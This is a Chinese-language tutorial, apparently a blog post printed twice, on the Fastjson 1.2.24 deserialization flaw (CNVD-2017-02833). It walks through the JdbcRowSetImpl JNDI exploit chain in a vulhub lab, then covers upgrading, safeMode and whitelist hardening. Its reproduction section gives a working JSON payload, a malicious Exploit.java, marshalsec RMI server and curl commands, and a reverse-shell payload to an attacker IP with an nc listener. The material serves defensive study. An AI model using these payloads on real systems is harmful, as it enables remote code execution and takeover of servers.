1. Fastjson反序列化漏洞初探第一次听说Fastjson漏洞是在2017年当时我正在做一个Java Web项目。记得那天项目组的后端开发突然在群里发消息说大家快检查下项目里用的Fastjson版本出大事了后来才知道这个编号CNVD-2017-02833的漏洞能让攻击者直接在我们的服务器上执行任意代码想想都后怕。Fastjson作为阿里巴巴开源的JSON解析库在Java生态中使用非常广泛。它最大的特点就是快 - 这也是它名字的由来。但成也萧何败也萧何Fastjson为了追求极致的性能在1.2.24及之前版本中对JSON反序列化的处理存在严重安全隐患。简单来说漏洞的核心在于Fastjson处理JSON时支持通过type指定任意类进行反序列化。攻击者可以精心构造一个JSON字符串当服务端解析时就会触发恶意类的加载和执行。最可怕的是这个漏洞利用门槛极低只要服务端使用了受影响版本的Fastjson攻击者不需要任何认证就能实现远程代码执行。2. 漏洞原理深度解析2.1 反序列化机制剖析要理解这个漏洞得先明白Fastjson的反序列化机制。正常情况下我们把一个Java对象转成JSON字符串叫序列化反过来把JSON字符串转成Java对象就叫反序列化。Fastjson在反序列化时有个特殊机制如果JSON里包含type字段它会根据这个字段的值去加载对应的Java类。比如{ type: com.example.User, name: 张三, age: 25 }这段JSON会被反序列化为com.example.User类的对象。问题就出在Fastjson 1.2.24及之前版本对这个机制没有任何限制攻击者可以指定任意类包括一些存在危险方法的类。2.2 漏洞利用链分析实际攻击中攻击者通常会利用JdbcRowSetImpl这个类。来看个典型的攻击payload{ b:{ type:com.sun.rowset.JdbcRowSetImpl, dataSourceName:rmi://恶意服务器/Exploit, autoCommit:true } }当Fastjson解析这个JSON时看到type指定了JdbcRowSetImpl类就会实例化这个类接着调用setDataSourceName方法设置dataSourceName属性最后调用setAutoCommit方法时JdbcRowSetImpl会尝试连接指定的RMI服务器连接过程中会加载并执行远程服务器上的恶意代码这个过程就是典型的JNDI注入攻击和后来Log4j漏洞的原理有异曲同工之妙。2.3 漏洞影响范围这个漏洞影响所有Fastjson 1.2.24及以下版本。特别需要注意的是即使关闭了autotype功能在某些情况下仍可被绕过漏洞利用不需要任何认证只要服务端接收JSON输入就可能被攻击危害极大可以直接在服务器上执行任意命令3. 漏洞复现实战3.1 环境搭建为了安全研究我们需要搭建一个实验环境靶机安装Tomcat Fastjson 1.2.24的Web应用攻击机Kali Linux用于发起攻击恶意服务器用于托管恶意class文件和提供RMI服务可以用Docker快速搭建测试环境# 启动漏洞环境 docker run -d -p 8080:8080 vulhub/fastjson:1.2.243.2 创建文件攻击我们先尝试让靶机在/tmp目录下创建一个文件编写恶意Java类Exploit.javaimport java.io.*; public class Exploit { public Exploit() throws Exception { Runtime.getRuntime().exec(touch /tmp/fastjson_pwned); } }编译并启动HTTP服务javac Exploit.java python3 -m http.server 8000启动RMI服务java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://你的IP:8000/#Exploit 9999发送恶意请求curl -X POST http://靶机IP:8080 -H Content-Type: application/json --data { b:{ type:com.sun.rowset.JdbcRowSetImpl, dataSourceName:rmi://你的IP:9999/Exploit, autoCommit:true } }如果攻击成功靶机的/tmp目录下会出现fastjson_pwned文件。3.3 反弹Shell攻击更危险的攻击是获取交互式Shell。修改Exploit.javapublic class Exploit { public Exploit() throws Exception { String[] cmd {/bin/bash,-c,bash -i /dev/tcp/攻击机IP/4444 01}; Runtime.getRuntime().exec(cmd); } }在攻击机上监听nc -lvnp 4444重新编译Exploit.java并发送请求就能获得靶机的Shell。不过要注意这个攻击能否成功取决于靶机JDK版本建议使用JDK 8u191以下版本测试。4. 安全加固方案4.1 升级Fastjson版本最彻底的解决方案是升级到安全版本1.2.25及以上版本默认关闭了autotype1.2.68及以上版本引入了safeMode机制建议直接升级到最新版本dependency groupIdcom.alibaba/groupId artifactIdfastjson/artifactId version1.2.83/version /dependency4.2 开启SafeMode对于不能立即升级的系统可以开启SafeMode代码方式ParserConfig.getGlobalInstance().setSafeMode(true);JVM参数方式-Dfastjson.parser.safeModetrue配置文件方式 在类路径下创建fastjson.properties添加fastjson.parser.safeModetrue4.3 其他防护措施输入过滤对传入的JSON数据进行严格校验使用白名单配置autotype白名单ParserConfig.getGlobalInstance().addAccept(com.yourpackage.)WAF防护配置规则拦截恶意请求考虑替换为Gson等其他JSON库5. 漏洞防护实战经验在实际项目中我遇到过几次Fastjson漏洞的修复工作。有几点经验值得分享第一不要以为升级版本就万事大吉了。有一次我们升级到了1.2.58结果发现项目中有人手动引入了旧版本的fastjson-core导致漏洞依然存在。所以一定要用mvn dependency:tree仔细检查依赖树。第二开启SafeMode前要全面测试。有些业务确实需要autotype功能贸然开启会导致业务异常。我们当时是先在小流量环境开启观察几天没问题才全量。第三WAF规则要精心配置。最初我们简单拦截所有包含type的请求结果导致正常业务报错。后来调整为只拦截包含已知危险类如JdbcRowSetImpl的请求。最后提醒一点安全是一个持续的过程。即使修复了这个漏洞也要保持对Fastjson新漏洞的关注建立持续的安全更新机制。
Fastjson反序列化漏洞(CNVD-2017-02833)实战:从漏洞复现到安全加固
1. Fastjson反序列化漏洞初探第一次听说Fastjson漏洞是在2017年当时我正在做一个Java Web项目。记得那天项目组的后端开发突然在群里发消息说大家快检查下项目里用的Fastjson版本出大事了后来才知道这个编号CNVD-2017-02833的漏洞能让攻击者直接在我们的服务器上执行任意代码想想都后怕。Fastjson作为阿里巴巴开源的JSON解析库在Java生态中使用非常广泛。它最大的特点就是快 - 这也是它名字的由来。但成也萧何败也萧何Fastjson为了追求极致的性能在1.2.24及之前版本中对JSON反序列化的处理存在严重安全隐患。简单来说漏洞的核心在于Fastjson处理JSON时支持通过type指定任意类进行反序列化。攻击者可以精心构造一个JSON字符串当服务端解析时就会触发恶意类的加载和执行。最可怕的是这个漏洞利用门槛极低只要服务端使用了受影响版本的Fastjson攻击者不需要任何认证就能实现远程代码执行。2. 漏洞原理深度解析2.1 反序列化机制剖析要理解这个漏洞得先明白Fastjson的反序列化机制。正常情况下我们把一个Java对象转成JSON字符串叫序列化反过来把JSON字符串转成Java对象就叫反序列化。Fastjson在反序列化时有个特殊机制如果JSON里包含type字段它会根据这个字段的值去加载对应的Java类。比如{ type: com.example.User, name: 张三, age: 25 }这段JSON会被反序列化为com.example.User类的对象。问题就出在Fastjson 1.2.24及之前版本对这个机制没有任何限制攻击者可以指定任意类包括一些存在危险方法的类。2.2 漏洞利用链分析实际攻击中攻击者通常会利用JdbcRowSetImpl这个类。来看个典型的攻击payload{ b:{ type:com.sun.rowset.JdbcRowSetImpl, dataSourceName:rmi://恶意服务器/Exploit, autoCommit:true } }当Fastjson解析这个JSON时看到type指定了JdbcRowSetImpl类就会实例化这个类接着调用setDataSourceName方法设置dataSourceName属性最后调用setAutoCommit方法时JdbcRowSetImpl会尝试连接指定的RMI服务器连接过程中会加载并执行远程服务器上的恶意代码这个过程就是典型的JNDI注入攻击和后来Log4j漏洞的原理有异曲同工之妙。2.3 漏洞影响范围这个漏洞影响所有Fastjson 1.2.24及以下版本。特别需要注意的是即使关闭了autotype功能在某些情况下仍可被绕过漏洞利用不需要任何认证只要服务端接收JSON输入就可能被攻击危害极大可以直接在服务器上执行任意命令3. 漏洞复现实战3.1 环境搭建为了安全研究我们需要搭建一个实验环境靶机安装Tomcat Fastjson 1.2.24的Web应用攻击机Kali Linux用于发起攻击恶意服务器用于托管恶意class文件和提供RMI服务可以用Docker快速搭建测试环境# 启动漏洞环境 docker run -d -p 8080:8080 vulhub/fastjson:1.2.243.2 创建文件攻击我们先尝试让靶机在/tmp目录下创建一个文件编写恶意Java类Exploit.javaimport java.io.*; public class Exploit { public Exploit() throws Exception { Runtime.getRuntime().exec(touch /tmp/fastjson_pwned); } }编译并启动HTTP服务javac Exploit.java python3 -m http.server 8000启动RMI服务java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://你的IP:8000/#Exploit 9999发送恶意请求curl -X POST http://靶机IP:8080 -H Content-Type: application/json --data { b:{ type:com.sun.rowset.JdbcRowSetImpl, dataSourceName:rmi://你的IP:9999/Exploit, autoCommit:true } }如果攻击成功靶机的/tmp目录下会出现fastjson_pwned文件。3.3 反弹Shell攻击更危险的攻击是获取交互式Shell。修改Exploit.javapublic class Exploit { public Exploit() throws Exception { String[] cmd {/bin/bash,-c,bash -i /dev/tcp/攻击机IP/4444 01}; Runtime.getRuntime().exec(cmd); } }在攻击机上监听nc -lvnp 4444重新编译Exploit.java并发送请求就能获得靶机的Shell。不过要注意这个攻击能否成功取决于靶机JDK版本建议使用JDK 8u191以下版本测试。4. 安全加固方案4.1 升级Fastjson版本最彻底的解决方案是升级到安全版本1.2.25及以上版本默认关闭了autotype1.2.68及以上版本引入了safeMode机制建议直接升级到最新版本dependency groupIdcom.alibaba/groupId artifactIdfastjson/artifactId version1.2.83/version /dependency4.2 开启SafeMode对于不能立即升级的系统可以开启SafeMode代码方式ParserConfig.getGlobalInstance().setSafeMode(true);JVM参数方式-Dfastjson.parser.safeModetrue配置文件方式 在类路径下创建fastjson.properties添加fastjson.parser.safeModetrue4.3 其他防护措施输入过滤对传入的JSON数据进行严格校验使用白名单配置autotype白名单ParserConfig.getGlobalInstance().addAccept(com.yourpackage.)WAF防护配置规则拦截恶意请求考虑替换为Gson等其他JSON库5. 漏洞防护实战经验在实际项目中我遇到过几次Fastjson漏洞的修复工作。有几点经验值得分享第一不要以为升级版本就万事大吉了。有一次我们升级到了1.2.58结果发现项目中有人手动引入了旧版本的fastjson-core导致漏洞依然存在。所以一定要用mvn dependency:tree仔细检查依赖树。第二开启SafeMode前要全面测试。有些业务确实需要autotype功能贸然开启会导致业务异常。我们当时是先在小流量环境开启观察几天没问题才全量。第三WAF规则要精心配置。最初我们简单拦截所有包含type的请求结果导致正常业务报错。后来调整为只拦截包含已知危险类如JdbcRowSetImpl的请求。最后提醒一点安全是一个持续的过程。即使修复了这个漏洞也要保持对Fastjson新漏洞的关注建立持续的安全更新机制。